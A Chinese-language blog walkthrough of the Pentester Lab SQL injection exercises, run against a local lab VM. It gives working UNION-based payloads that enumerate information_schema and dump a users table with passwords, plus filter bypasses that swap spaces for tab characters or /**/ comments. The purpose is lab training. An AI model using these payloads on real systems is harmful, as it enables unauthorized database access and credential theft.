Pentester Lab闯关记录(SQL Injections)

Pentester Lab闯关记录(SQL Injections)
example1
验证漏洞是否存在
猜测查询返回的列数
收集数据库基本信息
爆破数据库
example2
验证漏洞是否存在
爆破数据库
example3
验证漏洞是否存在
爆破数据库
example3
验证漏洞是否存在
爆破数据库
example1
验证漏洞是否存在
首先构造下面payload测试是否存在sql注入漏洞:

http://192.168.202.131/sqli/example1.php?name=root’ and 1=1 --+ payload为:’ and 1=1 --+
首先使用'闭合sql语句中的’,然后注入payload,使用--+注释掉后面的内容
发现正常返回内容

Pentester Lab闯关记录(SQL Injections)
再构造以下payload测试:

http://192.168.202.131/sqli/example1.php?name=root’ and 1=2 --+ payload为:’ and 1=1 --+
首先使用'闭合sql语句中的’,然后注入payload,使用--+注释掉后面的内容
测试发现不能正常返回Pentester Lab闯关记录(SQL Injections)

这里证明存在sql注入漏洞,下面进行sql注入。

猜测查询返回的列数
构造以下payload,测试当前查询有多少列,方便构造后续的payload:

http://192.168.202.131/sqli/example1.php?name=root' order by 1 --+
可以发现正常返回内容:Pentester Lab闯关记录(SQL Injections)

继续增加值测试,直到不能正常返回内容,确定查询的列数:
测试发现payload为 ' order by 6 --+时,不能正常返回,由此可以确认查询的列数为5Pentester Lab闯关记录(SQL Injections)

根据上面的的判断构造以下payload:

http://192.168.202.131/sqli/example1.php?name=root' union select 1,2,3,4,5--+
发现能够正常返回内容:Pentester Lab闯关记录(SQL Injections)

说明上述判断正确,原因是union语句成功的前提是前后两个sql语句查询的列数必须相同,否则不能正常输出内容。
注:有教程说必须要修改参数为-1使union前面的sql语句报错,然后才能正常输出后面sql语句的内容,可能是因为靶场环境不同,本文中用到的靶场中不存在这一问题,如果确认构造的payload没有问题,但是union后面的sql语句无法输出内容,可以尝试构造以下payload使union前面的sql语句产生错误,只输出后面的sql语句的查询结果。

http://192.168.202.131/sqli/example1.php?name=-1' union select 1,2,3,4,5--+
收集数据库基本信息
继续构造以下payload收集数据库的基本信息

192.168.202.131/sqli/example1.php?name=-1' union select database(),version(),user(),4,5--+
返回以下内容:Pentester Lab闯关记录(SQL Injections)

根据上图可以看到返回了数据库的基本信息:

database:exercises # 当前数据库名
vesion:5.1.66-0+squeeze1 # 当前数据库版本
user:pentesterlab@localhost # 当前用户名
可以看到数据库版本为5.1.66,mysql 5.x以上版本的数据库为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中定义了表schemata_name(数据库名),tables(表名),columns(列名)。
schemata_name表中,schema_name字段用来存储数据库名
tables表中,table_schema和table_name分别用来数据库库名和表名
columns表中,table_schema,table_name,column_name分别用来存储数据库名,表名和字段名

爆破数据库
下面根据其中的columns表爆破出表名:
构造以下payload:

http://192.168.202.131/sqli/example1.php?name=-1' union select table_schema,table_name,column_name,4,5 from information_schema.columns --+
测试成功返回数据库信息,第一列是数据库名,第二列是对应的的表名,第三列是对应的列名Pentester Lab闯关记录(SQL Injections)
我们在这些信息中找到我们最感兴趣的内容Pentester Lab闯关记录(SQL Injections)

上图中我们发现了当前数据库中中存在一个user表,其中分别有name,age,groupid,passwd这些列,下面我们尝试构造以下payload对user表内容进行爆破:

http://192.168.202.131/sqli/example1.php?name=-1' union%20select id,name,age,groupid,passwd from users --+
爆破出以下内容:Pentester Lab闯关记录(SQL Injections)

稍微调整显示顺序可以看到用户名及对应的密码信息:Pentester Lab闯关记录(SQL Injections)
example2
验证漏洞是否存在
构造以下payload:

http://192.168.202.131/sqli/example2.php?name=root' and 1=1 --+
测试发现报出错误Pentester Lab闯关记录(SQL Injections)

错误信息:ERROR NO SPACE,发现是因为过滤了空格,因此使用url编码%20替换空格,继续构造以下payload:

http://192.168.202.131/sqli/example2.php?name=root%27%09and%091=1%09%23
%27:'
%09:水平制表符替换空格
%23:#注释后面的内容
爆破数据库
后面的注入流程和example1一致,只需要将空格替换为%09即可。
构造最终的payload,爆破数据库内容:

http://192.168.202.131/sqli/example2.php?name=root%27%09union%09select%09id,name,age,groupid,passwd%09from%09users%23Pentester Lab闯关记录(SQL Injections)
example3
验证漏洞是否存在
构造以下payload:

http://192.168.202.131/sqli/example3.php?name=root' and 1=1 --+
http://192.168.202.131/sqli/example3.php?name=root%27%09and%091=1%09%23
测试发现制表符也被过滤了,尝试用注释符绕过,构造以下payload:

http://192.168.202.131/sqli/example3.php?name=root%27/**/and/**/1=1%23
测试成功返回Pentester Lab闯关记录(SQL Injections)

修改payload:

http://192.168.202.131/sqli/example3.php?name=root%27/**/and/**/1=2%23
测试发现无法正常返回Pentester Lab闯关记录(SQL Injections)

证明存在sql注入漏洞

爆破数据库
注入过程依然和example类似,将空格换成/**/即可,我们直接构造最终的payload测试爆破是否能够成功:

http://192.168.202.131/sqli/example3.php?name=root%27/**/union/**/select/**/id,name,age,groupid,passwd/**/from/**/users%23
测试爆破成功Pentester Lab闯关记录(SQL Injections)
example3
验证漏洞是否存在
根据url结构可以发现这是一个数字型注入
构造以下payload:

http://192.168.202.131/sqli/example4.php?id=3%20and%201=1#
爆破数据库
注入过程依然和example类似,我们直接构造最终的payload测试爆破是否能够成功:

http://192.168.202.131/sqli/example4.php?id=3%20union%20select%20id,name,age,groupid,passwd%20from%20users#
测试爆破成功Pentester Lab闯关记录(SQL Injections)

版权声明:itnav123 发表于 2022-01-30 13:26:49。
转载请注明:Pentester Lab闯关记录(SQL Injections) | 堆栈导航